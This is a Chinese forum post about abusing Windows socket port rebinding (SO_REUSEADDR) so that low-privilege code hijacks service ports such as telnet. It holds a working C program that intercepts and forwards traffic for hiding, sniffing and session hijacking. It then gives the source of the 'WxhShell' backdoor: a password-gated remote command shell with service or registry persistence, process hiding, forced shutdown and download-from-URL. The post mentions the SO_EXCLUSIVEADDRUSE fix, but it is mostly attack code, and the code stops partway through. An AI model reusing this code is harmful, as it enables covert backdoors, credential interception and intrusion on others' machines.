社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15851阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l-JKcsM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?j ;,q  
OmQuAG ^\x  
  saddr.sin_family = AF_INET; oD|+X/F K  
cc#_acR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wZ#~+ }T  
_'o^@v:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v: !7n  
,& {5,=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n,R[O_9u[  
QyBK*uNdV  
  这意味着什么?意味着可以进行如下的攻击: D(2kb  
lqwJ F &  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3vEjf  
~S~x@&yR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ESXU, qK]v  
TbSt {TX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ff2.| 20  
RaJ }>e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L>K39z~,  
n$Oky-P"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xHR+((  
m/"=5*pA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &dHm!b  
F'T= Alf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A1&>L9nUx  
7{6cLYl  
  #include g#bfY=C  
  #include CuGOjQ-k~  
  #include 5>^ W}0s  
  #include    {e!uvz,e  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ps4Wwk(  
  int main() 4 w/t$lR  
  { LxYM "_1A;  
  WORD wVersionRequested; /R+]}Lt~%*  
  DWORD ret; azATKH+j  
  WSADATA wsaData; f1,$<Y|qU  
  BOOL val; LKwUpu!  
  SOCKADDR_IN saddr; &t@6qi`d  
  SOCKADDR_IN scaddr; e#Zf>hlAz  
  int err; y*TNJJ|  
  SOCKET s; "=0 lcb C  
  SOCKET sc; .$T:n[@  
  int caddsize; lyc{Z%!3  
  HANDLE mt; Z~.]ZWj -  
  DWORD tid;   E;+OD&|  
  wVersionRequested = MAKEWORD( 2, 2 ); MsVI <+JZ  
  err = WSAStartup( wVersionRequested, &wsaData ); ?5+KHG*)  
  if ( err != 0 ) { WSX@0A.&)  
  printf("error!WSAStartup failed!\n"); I@3c QxI  
  return -1; 8Nl|\3nl-  
  } J7aK3 he  
  saddr.sin_family = AF_INET; a(QZZq};S  
   dzC&7 9$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q?'gwH37  
6 GevO3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u\& [@v  
  saddr.sin_port = htons(23); %0M^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fgz'C?  
  { uvc{RP  
  printf("error!socket failed!\n"); GzE3B';g  
  return -1; %l$&_xV-  
  } %emPSBf@  
  val = TRUE; 4m~stDlN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 bT6)(lm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ff+9(P>*  
  { =2V;B  
  printf("error!setsockopt failed!\n"); f4;8?  
  return -1; 7)5$1  
  } 5@r Zm4U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ydd>A\v\;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i)^ZH#G p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W1,L>Az^Ts  
R)d 7b,_Yd  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l+kg4y  
  { .j$bCKXGx  
  ret=GetLastError(); 3'NL1du  
  printf("error!bind failed!\n"); *'S%gR=Aa+  
  return -1; )|1JcnNSa  
  } %<o$ J~l~  
  listen(s,2); ,f""|X5  
  while(1) [LEh  
  { kIZdN D&  
  caddsize = sizeof(scaddr); 2*;Y%NcP[  
  //接受连接请求 'C8=d(mR=m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #?d#s19s  
  if(sc!=INVALID_SOCKET) !`Yi{}1_  
  { 9Q5P7}%p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9^h%}>  
  if(mt==NULL) VX@G}3Ck  
  { qc4 "0Ap'  
  printf("Thread Creat Failed!\n"); NqfDY  
  break; *"bp}3$^^  
  } bB :X<  
  } = 8e8!8  
  CloseHandle(mt); T7_ SO,X  
  } vrldRn'*9  
  closesocket(s); uTloj .  
  WSACleanup(); >Ezwl5b  
  return 0; 10C91/  
  }   av$_hEjo|D  
  DWORD WINAPI ClientThread(LPVOID lpParam) |MR?8A^"  
  {  s !vROJ  
  SOCKET ss = (SOCKET)lpParam; "jJ)hk5e  
  SOCKET sc; [<I `slK  
  unsigned char buf[4096]; zi&d  
  SOCKADDR_IN saddr; p5rRhu/|k3  
  long num; 4E(5Ccb  
  DWORD val; \@t5S  
  DWORD ret; "$V2$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 MOeLphY  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ) CTM  
  saddr.sin_family = AF_INET; e*Med)tc^$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1KR|i"  
  saddr.sin_port = htons(23); &>b1ES.>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;l4 \^E1  
  { ~0{Kga  
  printf("error!socket failed!\n"); 32FGDM  
  return -1; pNWp3+a'  
  } IbaL.t\>  
  val = 100; Z|GkM5QH:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T/6=A$4 #  
  { "{xv|C<*n  
  ret = GetLastError(); dct#E CT  
  return -1; w1G.^  
  } YfU#kvE'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k0uwG'(z9  
  { N9|.D.#MF  
  ret = GetLastError(); Oo .Qz   
  return -1; ABDUp:  
  } [1MEA;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) YU,:3{9,  
  { ?7ZlX?D[  
  printf("error!socket connect failed!\n"); cb,sb^-  
  closesocket(sc); zQ+t@;g1  
  closesocket(ss); .O.R  
  return -1; .*7UT~o=CS  
  } OIT;fKl9  
  while(1) EZfa0jJD  
  { B\&Ka<r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jch8d(`?d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 eV%bJkt.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y6PA\7Y\  
  num = recv(ss,buf,4096,0); ghj~r  
  if(num>0) \8aF(Y^H  
  send(sc,buf,num,0); nv{4 U}&P  
  else if(num==0) x7@HPf  
  break; ?zu{&aOX|  
  num = recv(sc,buf,4096,0); qE:DJy <  
  if(num>0) a$O]'}]`  
  send(ss,buf,num,0); Z!eq/  
  else if(num==0) w8ld* z  
  break; =Q/>g6  
  } m3-J0D<  
  closesocket(ss); _=x_"rz x  
  closesocket(sc); xB+H7Ya  
  return 0 ; eF1%5;" W  
  } XOU$3+8q5  
Q0_W<+`  
c/U6K yiK  
========================================================== @v=q,A8_  
=1[g`b  
下边附上一个代码,,WXhSHELL VrxH6Y  
BAHx7x#(  
========================================================== ~m U_ `o  
kR(=VM JU  
#include "stdafx.h" 2f4c;YS  
74(J7  
#include <stdio.h> 9-6_:N>  
#include <string.h> -"H4brj;G  
#include <windows.h> eR`<9KBH  
#include <winsock2.h> @E;pT3; )  
#include <winsvc.h> - S-1<xR  
#include <urlmon.h> S>E.*]_  
J@iN':l-  
#pragma comment (lib, "Ws2_32.lib") 3Q)>gh*  
#pragma comment (lib, "urlmon.lib") nWu4HFi  
]l%.X7M9  
#define MAX_USER   100 // 最大客户端连接数 j@!}r|-T  
#define BUF_SOCK   200 // sock buffer -rlX<(pl)  
#define KEY_BUFF   255 // 输入 buffer -`EoTXT*U  
cvfAa#tq>  
#define REBOOT     0   // 重启 j56 An6g  
#define SHUTDOWN   1   // 关机 p]eD@3Wz  
c<e\JJY5?  
#define DEF_PORT   5000 // 监听端口 $twF93u$  
I!D*(>  
#define REG_LEN     16   // 注册表键长度 J7vpCw2ni  
#define SVC_LEN     80   // NT服务名长度 3fTI&2:  
$(=1A>40  
// 从dll定义API  0 XzO`*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -~f.>@Wb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #+k[[; 0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yFsXI0I[p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pnJT]?},  
qTF>!o #\:  
// wxhshell配置信息 tvRy8u;  
struct WSCFG { UV.9 KcN.  
  int ws_port;         // 监听端口 5 ZPUY  
  char ws_passstr[REG_LEN]; // 口令 UUqj?'Nv  
  int ws_autoins;       // 安装标记, 1=yes 0=no nDy=ZsK  
  char ws_regname[REG_LEN]; // 注册表键名 jF9CTL<  
  char ws_svcname[REG_LEN]; // 服务名 YYW70k:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aM!#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Kf~+jYobO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {E|gV9g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nUHVPuQ/'T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NhX.yLb$   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k^jCB>b  
EQC  
}; P.DWC'IBN  
?F{xDfqw  
// default Wxhshell configuration 'O9=*L) X  
struct WSCFG wscfg={DEF_PORT, @x +#ZD(  
    "xuhuanlingzhe", / u6$M/Cf>  
    1, <Q)}  
    "Wxhshell", F-0PmO~3+W  
    "Wxhshell", or`stBx  
            "WxhShell Service", |'_<(z  
    "Wrsky Windows CmdShell Service", [rU8 #4.  
    "Please Input Your Password: ", 89mre;v`  
  1, )n@3@NV  
  "http://www.wrsky.com/wxhshell.exe", q(^J7M)  
  "Wxhshell.exe" MGDv4cFE.  
    }; Ms)zEy>[Ql  
c\MDOD%9  
// 消息定义模块 ZQA C &:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y'1V(5/&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m28w4   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  ?Nql7F4  
char *msg_ws_ext="\n\rExit."; FoCkTp+/  
char *msg_ws_end="\n\rQuit."; U:hC! t:  
char *msg_ws_boot="\n\rReboot..."; " SqKS,J  
char *msg_ws_poff="\n\rShutdown..."; 38i,\@p`9$  
char *msg_ws_down="\n\rSave to "; 3 ?~+5DU  
zAJUL  
char *msg_ws_err="\n\rErr!"; WEAXqDjM  
char *msg_ws_ok="\n\rOK!"; +Ob#3PRy  
*wcoDQ b;  
char ExeFile[MAX_PATH]; 4+,Z'J%\[7  
int nUser = 0; #SNI dc>9\  
HANDLE handles[MAX_USER]; Fg_s'G,`  
int OsIsNt; ,5*xE\9G  
uiA:(2AQ  
SERVICE_STATUS       serviceStatus; 5T#D5Z<m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =A 6O}0z  
%=y3  
// 函数声明 4[0?F!%  
int Install(void); RNtA4rC>#  
int Uninstall(void); 1Z8oN3  
int DownloadFile(char *sURL, SOCKET wsh); m]q!y3  
int Boot(int flag); 6qpV53H  
void HideProc(void); d2yHfl]3  
int GetOsVer(void); LfXr(2u  
int Wxhshell(SOCKET wsl); I.1l  
void TalkWithClient(void *cs); 5zna?(#}  
int CmdShell(SOCKET sock); n ]}2O 4j  
int StartFromService(void); q.km>XRk~  
int StartWxhshell(LPSTR lpCmdLine); wJ*-K-  
[ {LnE:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); { BL1j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wQB{K3  
N2s%p6RMPD  
// 数据结构和表定义 )^f Q@C8  
SERVICE_TABLE_ENTRY DispatchTable[] = R9G)X]  
{ 9yw/-nA  
{wscfg.ws_svcname, NTServiceMain}, =c^=Yvc7U  
{NULL, NULL} WVK-dBU  
}; chzR4"WZFt  
D-:<]D:  
// 自我安装 [=3tAPpzK  
int Install(void) pF+wH MhUe  
{ w*}yw"gP*0  
  char svExeFile[MAX_PATH]; [iy;}5XK  
  HKEY key; ~c$ts&Cl  
  strcpy(svExeFile,ExeFile); 4 xzJql  
r ;8z"*  
// 如果是win9x系统,修改注册表设为自启动 q'@Ei4  
if(!OsIsNt) { eE`1;13;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $: m87cR~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~7WXjVZ  
  RegCloseKey(key); #ic 2ofI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g~:(EO(w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C-^%g [#  
  RegCloseKey(key); H<7DcwXv  
  return 0; Ilu`b|%D  
    } ruA+1-<f  
  } 13_~)V  
} ;Jn0e:x`E  
else { -7z y  
e - ]c  
// 如果是NT以上系统,安装为系统服务 TM}'XZ&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?i EXFYJG  
if (schSCManager!=0) dN/ "1%9)  
{ l~!fQ$~  
  SC_HANDLE schService = CreateService yx w27~  
  ( rnv7L^9^A  
  schSCManager, b\j&!_   
  wscfg.ws_svcname, L(2P|{C  
  wscfg.ws_svcdisp, VN-#R=D  
  SERVICE_ALL_ACCESS, O| 6\g>ew  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 05VOUa*pb  
  SERVICE_AUTO_START, BI.k On=  
  SERVICE_ERROR_NORMAL, D6)Cjc>a  
  svExeFile, S*m`'  
  NULL, ^~<Rzq!  
  NULL, RzJ}CT  
  NULL, p6y0W`U  
  NULL, &DQ4=/Z  
  NULL ka)LK@p6  
  ); eGe[sv"k  
  if (schService!=0) 6 #x)W  
  { ~73i^3yf  
  CloseServiceHandle(schService); <kXV1@>  
  CloseServiceHandle(schSCManager); &Pg-|Ql  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K&IrTA j}  
  strcat(svExeFile,wscfg.ws_svcname); Q}?N4kg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xm=^\K3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ngY+Ym  
  RegCloseKey(key); &*]{"^  
  return 0; Tb0;Mbr  
    } PUjoi@]  
  } {q tc \O  
  CloseServiceHandle(schSCManager); v;bP8)mI  
} %6IlE.*,  
} Q^MXiE O+  
U|Z>SE<k  
return 1; hi3sOK*r;<  
} 4$zFR}f  
x !:9c<  
// 自我卸载 }EedHS  
int Uninstall(void) 2^ ,H_PS  
{ k BiBXRt  
  HKEY key; l'7Mw%6{  
*L;pcg8{  
if(!OsIsNt) { !V]MLA`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o!=l B fI  
  RegDeleteValue(key,wscfg.ws_regname); l4mUx`!  
  RegCloseKey(key); EAD0<I<>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5Q$r@&qp  
  RegDeleteValue(key,wscfg.ws_regname); x>^3]m  
  RegCloseKey(key); JIP+ !2  
  return 0; ;naq-%'Sg  
  } 5qd_>UHp  
} RrO0uadmn  
} Ev+HWx~Y  
else { aVQSN  
$h 08Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aVppOxA  
if (schSCManager!=0) U R1JbyT  
{ dSe8vA!)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /UpD$,T|^|  
  if (schService!=0) 5?5- ;H  
  { C(V[wvL  
  if(DeleteService(schService)!=0) { b46[fa   
  CloseServiceHandle(schService); O}K_l1  
  CloseServiceHandle(schSCManager); g5tjj.  
  return 0; 80?6I%UB<  
  } &o*s !u  
  CloseServiceHandle(schService); IpWy)B>Fl3  
  } 1p7cv~#95  
  CloseServiceHandle(schSCManager); n5Nan  
} >d8x<|D  
} Uvjdx(fY[a  
qIbg 4uE  
return 1; <%d51~@={I  
} nT.L}1@  
j+DE|Q&]I  
// 从指定url下载文件 TL},Unq  
int DownloadFile(char *sURL, SOCKET wsh) ~L%Pz0Gg  
{ jWH{;V&ZV  
  HRESULT hr; mje<d"bW  
char seps[]= "/"; E rop9T1  
char *token; @+'c+  
char *file; _PXG AS  
char myURL[MAX_PATH]; RAIVdQ}.Z  
char myFILE[MAX_PATH]; 1.# |QX  
8tb6 gZz  
strcpy(myURL,sURL); V bg10pV0  
  token=strtok(myURL,seps); L([E98fo  
  while(token!=NULL) XR*Q|4  
  { -1qZqU$h  
    file=token; @S`$C  
  token=strtok(NULL,seps); bTZ>@~$  
  } 0:Ar| to$m  
-O'{:s~  
GetCurrentDirectory(MAX_PATH,myFILE); P!kw;x  
strcat(myFILE, "\\"); drW~)6Lr@  
strcat(myFILE, file); 8g\wVKkTQp  
  send(wsh,myFILE,strlen(myFILE),0); A0G)imsW:_  
send(wsh,"...",3,0);  }10\K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _p\629`  
  if(hr==S_OK) p6`Pp"J_tr  
return 0; Ls&+XlrX8  
else z5x _fAT(  
return 1; c\At0.QCA  
FY$fV"s  
} =WC-Sj{I  
g3Z:{@m  
// 系统电源模块 7 _`L$<-n  
int Boot(int flag) Rj^7#,993  
{ dd]?9  
  HANDLE hToken; !<&m]K  
  TOKEN_PRIVILEGES tkp; pe9@N9_5  
sONBQ9  
  if(OsIsNt) { ["}A S:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *l{yW"Su  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X 7=fX~s  
    tkp.PrivilegeCount = 1; zrs<#8!Y_!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Mi ; glm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;6ky5}z  
if(flag==REBOOT) { -_NC%iN#C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =+Im*mgNn  
  return 0; petW M@  
} hrbo:8SL  
else { .e @>   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D==Mb~  
  return 0; SVagT'BB  
} IS BV%^la|  
  } w1r$='*I  
  else { BYi)j6"  
if(flag==REBOOT) { V >Hf9sZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @wp4 |G  
  return 0; c8{]]  
} (DDyK[t+VX  
else { Y#FO5O%W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mf' ]O,  
  return 0; X<]qU3k5  
} ;Wc4qJ.@  
} 0)|Q6*E>  
#D*r]M  
return 1; w5KPB5/zu  
} .R5y:O  
Ue*C>F   
// win9x进程隐藏模块 -Xz&}QA  
void HideProc(void) ~>5#5!}@*  
{ W2Luz;(U  
PWB(5 f?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZDx@^P y  
  if ( hKernel != NULL ) @]HXP_lyD/  
  { TZRcd~5$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vyI%3+N@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); % UZVb V  
    FreeLibrary(hKernel); '9?;"=6(  
  } UsQ4~e 4-  
[zkikZy  
return; wGsRS[  
} ,xI%A, (,;  
x;\wY'  
// 获取操作系统版本 X|DO~{-au  
int GetOsVer(void) %XTcP2pRJ  
{ b;GD/UI  
  OSVERSIONINFO winfo; bEV<iZDq%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,8MLoZ _  
  GetVersionEx(&winfo); C\ZkGX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :-`7Q\c}  
  return 1; KvPX=/&Zu  
  else BV`-=wRC  
  return 0; ,TJ D$^  
} 8}e,%{q  
w$Ot{i|$(  
// 客户端句柄模块 V DS23Bo  
int Wxhshell(SOCKET wsl) 76cG90!Z  
{ Rli:x  
  SOCKET wsh; ;Xvp6.:  
  struct sockaddr_in client; Mg,:UC:  
  DWORD myID; -62'}%?A<C  
;a{:%t  
  while(nUser<MAX_USER) W5L iXM  
{ L6Wt3U`l  
  int nSize=sizeof(client); VdSv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D}C,![   
  if(wsh==INVALID_SOCKET) return 1; 8vSse  
W1B)]IHc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [+m?G4[  
if(handles[nUser]==0) "1`Oh<={b  
  closesocket(wsh); *+'2?*  
else !\8  ;d8  
  nUser++; ml|W~-6l  
  } E{^XlY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z@Q@^ &0Mr  
p[lNy{u~M  
  return 0; XdLCbY  
} [[d(jV=*  
ofYlR|  
// 关闭 socket r_e7a6  
void CloseIt(SOCKET wsh) h_1T,f (  
{ zA+~7;7E  
closesocket(wsh); hQ6a~?f  
nUser--; :1XtvH  
ExitThread(0); l\M_-:I+4  
} #_Z$2L"U  
53-v|'9'  
// 客户端请求句柄 P&m\1W(  
void TalkWithClient(void *cs) -/{ 4Jf Wf  
{ x8\A<(G_M=  
>9RD_QG7  
  SOCKET wsh=(SOCKET)cs; ?Kvl!F!`  
  char pwd[SVC_LEN]; [V'QrcCF  
  char cmd[KEY_BUFF]; Q#h 9n]5  
char chr[1]; /kt2c[9  
int i,j; F":r4`5D"K  
qd8n2f  
  while (nUser < MAX_USER) { !RyO\>:q  
9j W2  
if(wscfg.ws_passstr) { [=B$5%A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?4H i-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fDG0BNLY  
  //ZeroMemory(pwd,KEY_BUFF); /Q~gU<  
      i=0; U=hlu  
  while(i<SVC_LEN) { x.8TRMk^  
WTImRXK4  
  // 设置超时 Dfq(Iv  
  fd_set FdRead; 3~nnCR[R  
  struct timeval TimeOut; GA7}K:LP'k  
  FD_ZERO(&FdRead); 6c^e\0q  
  FD_SET(wsh,&FdRead); h3dsd  
  TimeOut.tv_sec=8; u7?$b!hG^C  
  TimeOut.tv_usec=0; Gmf B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .U T@p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J'N!Omz  
| 9~GM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CHV*vU<N  
  pwd=chr[0]; A:7k+4  
  if(chr[0]==0xd || chr[0]==0xa) { sKlDu  
  pwd=0; ?nP*\8  
  break; t3dlS`O  
  } lFTF ,G  
  i++; hWH:wB  
    } 4)1s M=u  
[o F|s-"9!  
  // 如果是非法用户,关闭 socket TEDAb >  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s}N#n(  
} <{~6}6o  
e9Nk3Sj]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u]vQ>Uu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J!:SPQ  
61xs%kxb..  
while(1) { 7"8hC  
>@"Oe  
  ZeroMemory(cmd,KEY_BUFF); M`ip~7"  
ezPz<iZ\N  
      // 自动支持客户端 telnet标准   ,_"AT! r  
  j=0; E*jP87g  
  while(j<KEY_BUFF) { {J^lX/D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wC5ee:u C%  
  cmd[j]=chr[0]; AE} )o)B  
  if(chr[0]==0xa || chr[0]==0xd) { U#3J0+!  
  cmd[j]=0; b, :QT~g=  
  break; }[M`uZ  
  } ?wO-cnl  
  j++; 1&e} ms  
    } tO0!5#-VR  
IEU^#=n  
  // 下载文件 (&!NC[n,  
  if(strstr(cmd,"http://")) { &gjF4~W]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); up'Tit  
  if(DownloadFile(cmd,wsh)) |^A;&//  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _)\c&.p]f  
  else U*3uq7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u?9" jX  
  } *6} N =Z  
  else { IKi5 v~bE  
0Q^Ikiv   
    switch(cmd[0]) { X=> =5'  
  Aj0Tfdxy  
  // 帮助 Z ,EvQ8i  
  case '?': { Qci4J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,u/aT5\_  
    break; 4n4?4BEn  
  } ca>Z7qT!  
  // 安装 mdw7}%5V  
  case 'i': { c_V;DcZ  
    if(Install()) ^.>jG I%rB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yh>]-SCw  
    else ?yj6CL(,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3K_A<j:  
    break; (`:O~>[N  
    } SXy=<%ed  
  // 卸载 Qm/u h  
  case 'r': { $_x^lr  
    if(Uninstall()) 46 PoM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lliq j1&  
    else R~ZFy0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); phgm0D7  
    break; !U5Wr+83  
    } tQylT0'[+o  
  // 显示 wxhshell 所在路径 DS'n  
  case 'p': { g]c6& Y,#  
    char svExeFile[MAX_PATH]; rf$X>M=G  
    strcpy(svExeFile,"\n\r"); EbdfV-E  
      strcat(svExeFile,ExeFile); 4!LCR}K  
        send(wsh,svExeFile,strlen(svExeFile),0); l'3pQ;  
    break; O/<K!;(@?  
    } R[;z X(y  
  // 重启 >>5NX"{  
  case 'b': { V,G|k!!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B|&"#Q  
    if(Boot(REBOOT)) ph-ATJ"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |P%DkM*X  
    else { 9J?wO9rI  
    closesocket(wsh); P<f5*L#HD  
    ExitThread(0); R>(@Z M&  
    } T16{_  
    break; <NuUW9+  
